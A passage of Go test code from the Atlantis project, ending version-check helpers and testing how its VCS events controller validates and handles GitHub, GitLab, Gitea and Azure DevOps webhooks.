err) t.Errorf("%q was different, wrote actual comment to %q", expFile, rel) } } } } // returns parent, bindir, cachedir, cleanup func func mkSubDirs(t *testing.T) (string, string, string) { tmp := t.TempDir() binDir := filepath.Join(tmp, "bin") err := os.MkdirAll(binDir, 0700) Ok(t, err) cachedir := filepath.Join(tmp, "plugin-cache") err = os.MkdirAll(cachedir, 0700) Ok(t, err) return tmp, binDir, cachedir } // Will fail test if conftest isn't in path func ensureRunningConftest(t *testing.T) { // use `conftest` command instead `conftest$version`, so tests may fail on the environment cause the output logs may become change by version. t.Logf("conftest check may fail depends on conftest version. please use latest stable conftest.") _, err := exec.LookPath(conftestCommand) if err != nil { t.Logf(`%s must be installed to run this test - on local, please install conftest command or run 'make docker/test-all' - on CI, please check testing-env docker image contains conftest command. see testing/Dockerfile `, conftestCommand) t.FailNow() } } // Will fail test if terraform isn't in path and isn't version >= 0.14 func ensureRunning014(t *testing.T) { localPath, err := exec.LookPath("terraform") if err != nil { t.Log("terraform >= 0.14 must be installed to run this test") t.FailNow() } versionOutBytes, err := exec.Command(localPath, "version").Output() // #nosec if err != nil { t.Logf("error running terraform version: %s", err) t.FailNow() } versionOutput := string(versionOutBytes) match := versionRegex.FindStringSubmatch(versionOutput) if len(match) <= 1 { t.Logf("could not parse terraform version from %s", versionOutput) t.FailNow() } localVersion, err := version.NewVersion(match[1]) Ok(t, err) minVersion, err := version.NewVersion("0.14.0") Ok(t, err) if localVersion.LessThan(minVersion) { t.Logf("must have terraform version >= %s, you have %s", minVersion, localVersion) t.FailNow() } } // versionRegex extracts the version from `terraform version` output. // // Terraform v0.12.0-alpha4 (2c36829d3265661d8edbd5014de8090ea7e2a076) // => 0.12.0-alpha4 // // Terraform v0.11.10 // => 0.11.10 // // OpenTofu v1.0.0 // => 1.0.0 var versionRegex = regexp.MustCompile("(?:Terraform|OpenTofu) v(.*?)(\\s.*)?\n") ================================================ FILE: server/controllers/events/events_controller_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "bytes" "errors" "fmt" "io" "net/http" "net/http/httptest" "os" "path/filepath" "strings" "testing" "github.com/drmaxgit/go-azuredevops/azuredevops" "github.com/google/go-github/v83/github" . "github.com/petergtz/pegomock/v4" events_controllers "github.com/runatlantis/atlantis/server/controllers/events" "github.com/runatlantis/atlantis/server/controllers/events/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" emocks "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics/metricstest" . "github.com/runatlantis/atlantis/testing" gitlab "gitlab.com/gitlab-org/api/client-go" ) const githubHeader = "X-Github-Event" const giteaHeader = "X-Gitea-Event" const gitlabHeader = "X-Gitlab-Event" const azuredevopsHeader = "Request-Id" var user = []byte("user") var secret = []byte("secret") func TestPost_NotGithubOrGitlab(t *testing.T) { t.Log("when the request is not for gitlab or github a 400 is returned") e, _, _, _, _, _, _, _, _ := setup(t) w := httptest.NewRecorder() req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "Ignoring request") } func TestPost_UnsupportedVCSGithub(t *testing.T) { t.Log("when the request is for an unsupported vcs a 400 is returned") e, _, _, _, _, _, _, _, _ := setup(t) e.SupportedVCSHosts = nil req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "value") w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "Ignoring request since not configured to support GitHub") } func TestPost_UnsupportedVCSGitea(t *testing.T) { t.Log("when the request is for an unsupported vcs a 400 is returned") e, _, _, _, _, _, _, _, _ := setup(t) e.SupportedVCSHosts = nil req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(giteaHeader, "value") w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "Ignoring request since not configured to support Gitea") } func TestPost_UnsupportedVCSGitlab(t *testing.T) { t.Log("when the request is for an unsupported vcs a 400 is returned") e, _, _, _, _, _, _, _, _ := setup(t) e.SupportedVCSHosts = nil req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "Ignoring request since not configured to support GitLab") } func TestPost_InvalidGithubSecret(t *testing.T) { t.Log("when the github payload can't be validated a 400 is returned") e, v, _, _, _, _, _, _, _ := setup(t) w := httptest.NewRecorder() req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "value") When(v.Validate(req, secret)).ThenReturn(nil, errors.New("err")) e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "err") } func TestPost_InvalidGiteaSecret(t *testing.T) { t.Log("when the gitea payload can't be validated a 400 is returned") e, v, _, _, _, _, _, _, _ := setup(t) w := httptest.NewRecorder() req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(giteaHeader, "value") When(v.Validate(req, secret)).ThenReturn(nil, errors.New("err")) e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "request did not pass validation") } func TestPost_InvalidGitlabSecret(t *testing.T) { t.Log("when the gitlab payload can't be validated a 400 is returned") e, _, gl, _, _, _, _, _, _ := setup(t) w := httptest.NewRecorder() req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") When(gl.ParseAndValidate(req, secret)).ThenReturn(nil, errors.New("err")) e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "err") } func TestPost_UnsupportedGithubEvent(t *testing.T) { t.Log("when the event type is an unsupported github event we ignore it") e, v, _, _, _, _, _, _, _ := setup(t) w := httptest.NewRecorder() req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "value") When(v.Validate(req, nil)).ThenReturn([]byte(`{"not an event": ""}`), nil) e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring unsupported event") } func TestPost_UnsupportedGiteaEvent(t *testing.T) { t.Log("when the event type is an unsupported gitea event we ignore it") e, v, _, _, _, _, _, _, _ := setup(t) w := httptest.NewRecorder() req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(giteaHeader, "value") e.GiteaWebhookSecret = nil When(v.Validate(req, nil)).ThenReturn([]byte(`{"not an event": ""}`), nil) e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring unsupported Gitea event") } func TestPost_UnsupportedGitlabEvent(t *testing.T) { t.Log("when the event type is an unsupported gitlab event we ignore it") e, _, gl, _, _, _, _, _, _ := setup(t) w := httptest.NewRecorder() req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") When(gl.ParseAndValidate(req, secret)).ThenReturn([]byte(`{"not an event": ""}`), nil) e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring unsupported event") } // Test that if the comment comes from a commit rather than a merge request, // we give an error and ignore it. func TestPost_GitlabCommentOnCommit(t *testing.T) { e, _, gl, _, _, _, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() req.Header.Set(gitlabHeader, "value") When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.CommitCommentEvent{}, nil) e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring comment on commit event") } func TestPost_GithubCommentNotCreated(t *testing.T) { t.Log("when the event is a github comment but it's not a created event we ignore it") e, v, _, _, _, _, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "issue_comment") // comment action is deleted, not created event := `{"action": "deleted"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring comment event since action was not created") } func TestPost_GithubInvalidComment(t *testing.T) { t.Log("when the event is a github comment without all expected data we return a 400") e, v, _, _, p, _, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "issue_comment") event := `{"action": "created"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(models.Repo{}, models.User{}, 1, errors.New("err")) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "parsing event") } func TestPost_GitlabCommentInvalidCommand(t *testing.T) { t.Log("when the event is a gitlab comment with an invalid command we ignore it") e, _, gl, _, _, _, _, _, cp := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) When(cp.Parse("", models.Gitlab)).ThenReturn(events.CommentParseResult{Ignore: true}) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring non-command comment: \"\"") } func TestPost_GithubCommentInvalidCommand(t *testing.T) { t.Log("when the event is a github comment with an invalid command we ignore it") e, v, _, _, p, _, _, vcsClient, cp := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "issue_comment") event := `{"action": "created"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(models.Repo{}, models.User{}, 1, nil) When(cp.Parse("", models.Github)).ThenReturn(events.CommentParseResult{Ignore: true}) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring non-command comment: \"\"") vcsClient.VerifyWasCalled(Never()).ReactToComment(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(1), Eq(int64(1)), Eq("eyes")) } func TestPost_GitlabCommentNotAllowlisted(t *testing.T) { t.Log("when the event is a gitlab comment from a repo that isn't allowlisted we comment with an error") RegisterMockTestingT(t) vcsClient := vcsmocks.NewMockClient() logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "null") e := events_controllers.VCSEventsController{ Logger: logger, Scope: scope, CommentParser: &events.CommentParser{ExecutableName: "atlantis"}, GitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{}, Parser: &events.EventParser{}, SupportedVCSHosts: []models.VCSHostType{models.Gitlab}, RepoAllowlistChecker: &events.RepoAllowlistChecker{}, VCSClient: vcsClient, } requestJSON, err := os.ReadFile(filepath.Join("testdata", "gitlabMergeCommentEvent_notAllowlisted.json")) Ok(t, err) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) req.Header.Set(gitlabHeader, "Note Hook") w := httptest.NewRecorder() e.Post(w, req) resp := w.Result() defer resp.Body.Close() Equals(t, http.StatusForbidden, resp.StatusCode) body, _ := io.ReadAll(resp.Body) exp := "repo not allowlisted" Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) expRepo, _ := models.NewRepo(models.Gitlab, "gitlabhq/gitlab-test", "https://example.com/gitlabhq/gitlab-test.git", "", "") vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(expRepo), Eq(1), Eq("```\nError: This repo is not allowlisted for Atlantis.\n```"), Eq("")) } func TestPost_GitlabCommentNotAllowlistedWithSilenceErrors(t *testing.T) { t.Log("when the event is a gitlab comment from a repo that isn't allowlisted and we are silencing errors, do not comment with an error") RegisterMockTestingT(t) vcsClient := vcsmocks.NewMockClient() logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "null") e := events_controllers.VCSEventsController{ Logger: logger, Scope: scope, CommentParser: &events.CommentParser{ExecutableName: "atlantis"}, GitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{}, Parser: &events.EventParser{}, SupportedVCSHosts: []models.VCSHostType{models.Gitlab}, RepoAllowlistChecker: &events.RepoAllowlistChecker{}, VCSClient: vcsClient, SilenceAllowlistErrors: true, } requestJSON, err := os.ReadFile(filepath.Join("testdata", "gitlabMergeCommentEvent_notAllowlisted.json")) Ok(t, err) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) req.Header.Set(gitlabHeader, "Note Hook") w := httptest.NewRecorder() e.Post(w, req) resp := w.Result() defer resp.Body.Close() Equals(t, http.StatusForbidden, resp.StatusCode) body, _ := io.ReadAll(resp.Body) exp := "repo not allowlisted" Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } func TestPost_GithubCommentNotAllowlisted(t *testing.T) { t.Log("when the event is a github comment from a repo that isn't allowlisted we comment with an error") RegisterMockTestingT(t) vcsClient := vcsmocks.NewMockClient() logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "null") e := events_controllers.VCSEventsController{ Logger: logger, Scope: scope, GithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{}, CommentParser: &events.CommentParser{ExecutableName: "atlantis"}, Parser: &events.EventParser{}, SupportedVCSHosts: []models.VCSHostType{models.Github}, RepoAllowlistChecker: &events.RepoAllowlistChecker{}, VCSClient: vcsClient, } requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubIssueCommentEvent_notAllowlisted.json")) Ok(t, err) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) req.Header.Set("Content-Type", "application/json") req.Header.Set(githubHeader, "issue_comment") w := httptest.NewRecorder() e.Post(w, req) resp := w.Result() defer resp.Body.Close() Equals(t, http.StatusForbidden, resp.StatusCode) body, _ := io.ReadAll(resp.Body) exp := "repo not allowlisted" Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) expRepo, _ := models.NewRepo(models.Github, "baxterthehacker/public-repo", "https://github.com/baxterthehacker/public-repo.git", "", "") vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(expRepo), Eq(2), Eq("```\nError: This repo is not allowlisted for Atlantis.\n```"), Eq("")) } func TestPost_GithubCommentNotAllowlistedWithSilenceErrors(t *testing.T) { t.Log("when the event is a github comment from a repo that isn't allowlisted and we are silencing errors, do not comment with an error") RegisterMockTestingT(t) vcsClient := vcsmocks.NewMockClient() logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "null") e := events_controllers.VCSEventsController{ Logger: logger, Scope: scope, GithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{}, CommentParser: &events.CommentParser{ExecutableName: "atlantis"}, Parser: &events.EventParser{}, SupportedVCSHosts: []models.VCSHostType{models.Github}, RepoAllowlistChecker: &events.RepoAllowlistChecker{}, VCSClient: vcsClient, SilenceAllowlistErrors: true, } requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubIssueCommentEvent_notAllowlisted.json")) Ok(t, err) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) req.Header.Set("Content-Type", "application/json") req.Header.Set(githubHeader, "issue_comment") w := httptest.NewRecorder() e.Post(w, req) resp := w.Result() defer resp.Body.Close() Equals(t, http.StatusForbidden, resp.StatusCode) body, _ := io.ReadAll(resp.Body) exp := "repo not allowlisted" Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } func TestPost_GitlabCommentResponse(t *testing.T) { // When the event is a gitlab comment that warrants a comment response we comment back. e, _, gl, _, _, _, _, vcsClient, cp := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) When(cp.Parse("", models.Gitlab)).ThenReturn(events.CommentParseResult{CommentResponse: "a comment"}) w := httptest.NewRecorder() e.Post(w, req) vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(0), Eq("a comment"), Eq("")) ResponseContains(t, w, http.StatusOK, "Commenting back on pull request") } func TestPost_GithubCommentResponse(t *testing.T) { t.Log("when the event is a github comment that warrants a comment response we comment back") e, v, _, _, p, _, _, vcsClient, cp := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "issue_comment") event := `{"action": "created"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) baseRepo := models.Repo{} user := models.User{} When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(baseRepo, user, 1, nil) When(cp.Parse("", models.Github)).ThenReturn(events.CommentParseResult{CommentResponse: "a comment"}) w := httptest.NewRecorder() e.Post(w, req) vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(baseRepo), Eq(1), Eq("a comment"), Eq("")) ResponseContains(t, w, http.StatusOK, "Commenting back on pull request") } func TestPost_GitlabCommentSuccess(t *testing.T) { t.Log("when the event is a gitlab comment with a valid command we call the command handler") e, _, gl, _, _, cr, _, _, cp := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") cmd := events.CommentCommand{} When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) When(cp.Parse(Any[string](), Eq(models.Gitlab))).ThenReturn(events.CommentParseResult{Command: &cmd}) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Processing...") cr.VerifyWasCalledOnce().RunCommentCommand(models.Repo{}, &models.Repo{}, nil, models.User{}, 0, &cmd) } func TestPost_GithubCommentSuccess(t *testing.T) { t.Log("when the event is a github comment with a valid command we call the command handler") e, v, _, _, p, cr, _, _, cp := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "issue_comment") event := `{"action": "created"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) baseRepo := models.Repo{} user := models.User{} cmd := events.CommentCommand{} When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(baseRepo, user, 1, nil) When(cp.Parse("", models.Github)).ThenReturn(events.CommentParseResult{Command: &cmd}) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Processing...") cr.VerifyWasCalledOnce().RunCommentCommand(baseRepo, nil, nil, user, 1, &cmd) } func TestPost_GithubCommentReaction(t *testing.T) { t.Log("when the event is a github comment with a valid command we call the ReactToComment handler") e, v, _, _, p, _, _, vcsClient, cp := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "issue_comment") testComment := "atlantis plan" event := fmt.Sprintf(`{"action": "created", "comment": {"body": "%v", "id": 1}}`, testComment) When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) baseRepo := models.Repo{} user := models.User{} cmd := events.CommentCommand{Name: command.Plan} When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(baseRepo, user, 1, nil) When(cp.Parse(testComment, models.Github)).ThenReturn(events.CommentParseResult{Command: &cmd}) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Processing...") vcsClient.VerifyWasCalledOnce().ReactToComment(Any[logging.SimpleLogging](), Eq(baseRepo), Eq(1), Eq(int64(1)), Eq("eyes")) } func TestPost_GilabCommentReaction(t *testing.T) { t.Log("when the event is a gitlab comment with a valid command we call the ReactToComment handler") e, _, gl, _, _, _, _, vcsClient, cp := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") cmd := events.CommentCommand{} When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) When(cp.Parse(Any[string](), Eq(models.Gitlab))).ThenReturn(events.CommentParseResult{Command: &cmd}) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Processing...") vcsClient.VerifyWasCalledOnce().ReactToComment(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(0), Eq(int64(0)), Eq("eyes")) } func TestPost_GithubPullRequestInvalid(t *testing.T) { t.Log("when the event is a github pull request with invalid data we return a 400") e, v, _, _, p, _, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "pull_request") event := `{"action": "closed"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) When(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(models.PullRequest{}, models.OpenedPullEvent, models.Repo{}, models.Repo{}, models.User{}, errors.New("err")) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "parsing pull data: err") } func TestPost_GitlabMergeRequestInvalid(t *testing.T) { t.Log("when the event is a gitlab merge request with invalid data we return a 400") e, _, gl, _, p, _, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil) repo := models.Repo{} pullRequest := models.PullRequest{State: models.ClosedPullState} When(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, errors.New("err")) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusBadRequest, "Error parsing webhook: err") } func TestPost_GithubPullRequestNotAllowlisted(t *testing.T) { t.Log("when the event is a github pull request to a non-allowlisted repo we return a 400") e, v, _, _, _, _, _, _, _ := setup(t) var err error e.RepoAllowlistChecker, err = events.NewRepoAllowlistChecker("github.com/nevermatch") Ok(t, err) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "pull_request") event := `{"action": "closed"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusForbidden, "pull request event from non-allowlisted repo") } func TestPost_GitlabMergeRequestNotAllowlisted(t *testing.T) { t.Log("when the event is a gitlab merge request to a non-allowlisted repo we return a 400") e, _, gl, _, p, _, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") var err error e.RepoAllowlistChecker, err = events.NewRepoAllowlistChecker("github.com/nevermatch") Ok(t, err) When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil) repo := models.Repo{} pullRequest := models.PullRequest{State: models.ClosedPullState} When(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusForbidden, "pull request event from non-allowlisted repo") } func TestPost_GithubPullRequestUnsupportedAction(t *testing.T) { t.Skip("relies too much on mocks, should use real event parser") e, v, _, _, _, _, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "pull_request") event := `{"action": "unsupported"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) w := httptest.NewRecorder() e.Parser = &events.EventParser{} e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring non-actionable pull request event") } func TestPost_GitlabMergeRequestUnsupportedAction(t *testing.T) { t.Skip("relies too much on mocks, should use real event parser") t.Log("when the event is a gitlab merge request to a non-allowlisted repo we return a 400") e, _, gl, _, p, _, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") var event gitlab.MergeEvent event.ObjectAttributes.Action = "unsupported" When(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil) repo := models.Repo{} pullRequest := models.PullRequest{State: models.ClosedPullState} When(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, repo, repo, models.User{}, nil) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring non-actionable pull request event") } func TestPost_AzureDevopsPullRequestIgnoreEvent(t *testing.T) { t.Log("when the event is an azure devops pull request update that should not trigger workflow we ignore it") e, _, _, ado, _, _, _, _, _ := setup(t) event := `{ "subscriptionId": "11111111-1111-1111-1111-111111111111", "notificationId": 1, "id": "22222222-2222-2222-2222-222222222222", "eventType": "git.pullrequest.updated", "publisherId": "tfs", "message": { "text": "Dev %s pull request 1 (Name in repo)" }, "resource": {}}` cases := []struct { message string }{ { "has changed the reviewer list on", }, { "has approved", }, { "has approved and left suggestions on", }, { "is waiting for the author on", }, { "rejected", }, { "voted on", }, } for _, c := range cases { t.Run(c.message, func(t *testing.T) { payload := fmt.Sprintf(event, c.message) req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) req.Header.Set(azuredevopsHeader, "reqID") When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) w := httptest.NewRecorder() e.Parser = &events.EventParser{} e.Post(w, req) ResponseContains(t, w, http.StatusOK, "pull request updated event is not a supported type") }) } } func TestPost_AzureDevopsPullRequestDeletedCommentIgnoreEvent(t *testing.T) { t.Log("when the event is an azure devops pull request deleted comment event we ignore it") e, _, _, ado, _, _, _, _, _ := setup(t) payload := `{ "subscriptionId": "11111111-1111-1111-1111-111111111111", "notificationId": 1, "id": "22222222-2222-2222-2222-222222222222", "eventType": "ms.vss-code.git-pullrequest-comment-event", "publisherId": "tfs", "message": { "text": "Dev has deleted a pull request comment" }, "resource": { "comment": { "id": 1, "isDeleted": true, "commentType": "text" } } }` t.Run("Dev has deleted a pull request comment", func(t *testing.T) { req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) req.Header.Set(azuredevopsHeader, "reqID") When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) w := httptest.NewRecorder() e.Parser = &events.EventParser{} e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring comment event since it is linked to deleting a pull request comment") }) } func TestPost_AzureDevopsPullRequestCommentWebhookTestIgnoreEvent(t *testing.T) { t.Log("when the event is an azure devops webhook test we ignore it") e, _, _, ado, _, _, _, _, _ := setup(t) event := `{ "subscriptionId": "11111111-1111-1111-1111-111111111111", "notificationId": 1, "id": "22222222-2222-2222-2222-222222222222", "eventType": "%s", "publisherId": "tfs", "message": { "text": "%s" }, "resource": { "pullRequest": { "repository":{ "url": "https://fabrikam.visualstudio.com/DefaultCollection/_apis/git/repositories/4bc14d40-c903-45e2-872e-0462c7748079" } }, "comment": { "content": "This is my comment." } }}` cases := []struct { eventType string message string }{ { "ms.vss-code.git-pullrequest-comment-event", "Jamal Hartnett has edited a pull request comment", }, } for _, c := range cases { t.Run(c.message, func(t *testing.T) { payload := fmt.Sprintf(event, c.eventType, c.message) req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) req.Header.Set(azuredevopsHeader, "reqID") When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) w := httptest.NewRecorder() e.Parser = &events.EventParser{} e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring Azure DevOps Test Event with Repo URL") }) } } func TestPost_AzureDevopsPullRequestWebhookTestIgnoreEvent(t *testing.T) { t.Log("when the event is an azure devops webhook tests we ignore it") e, _, _, ado, _, _, _, _, _ := setup(t) event := `{ "subscriptionId": "11111111-1111-1111-1111-111111111111", "notificationId": 1, "id": "22222222-2222-2222-2222-222222222222", "eventType": "%s", "publisherId": "tfs", "message": { "text": "%s" }, "resource": { "repository":{ "url": "https://fabrikam.visualstudio.com/DefaultCollection/_apis/git/repositories/4bc14d40-c903-45e2-872e-0462c7748079" } }}` cases := []struct { eventType string message string }{ { "git.pullrequest.created", "Jamal Hartnett created a new pull request", }, { "git.pullrequest.updated", "Jamal Hartnett marked the pull request as completed", }, } for _, c := range cases { t.Run(c.message, func(t *testing.T) { payload := fmt.Sprintf(event, c.eventType, c.message) req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) req.Header.Set(azuredevopsHeader, "reqID") When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) w := httptest.NewRecorder() e.Parser = &events.EventParser{} e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Ignoring Azure DevOps Test Event with Repo URL") }) } } func TestPost_AzureDevopsPullRequestCommentPassingIgnores(t *testing.T) { t.Log("when the event should not be ignored it should pass through all ignore statements without error") e, _, _, ado, _, _, _, _, cp := setup(t) testComment := "atlantis plan" repo := models.Repo{} cmd := events.CommentCommand{Name: command.Plan} When(e.Parser.ParseAzureDevopsRepo(Any[*azuredevops.GitRepository]())).ThenReturn(repo, nil) When(cp.Parse(testComment, models.AzureDevops)).ThenReturn(events.CommentParseResult{Command: &cmd}) payload := 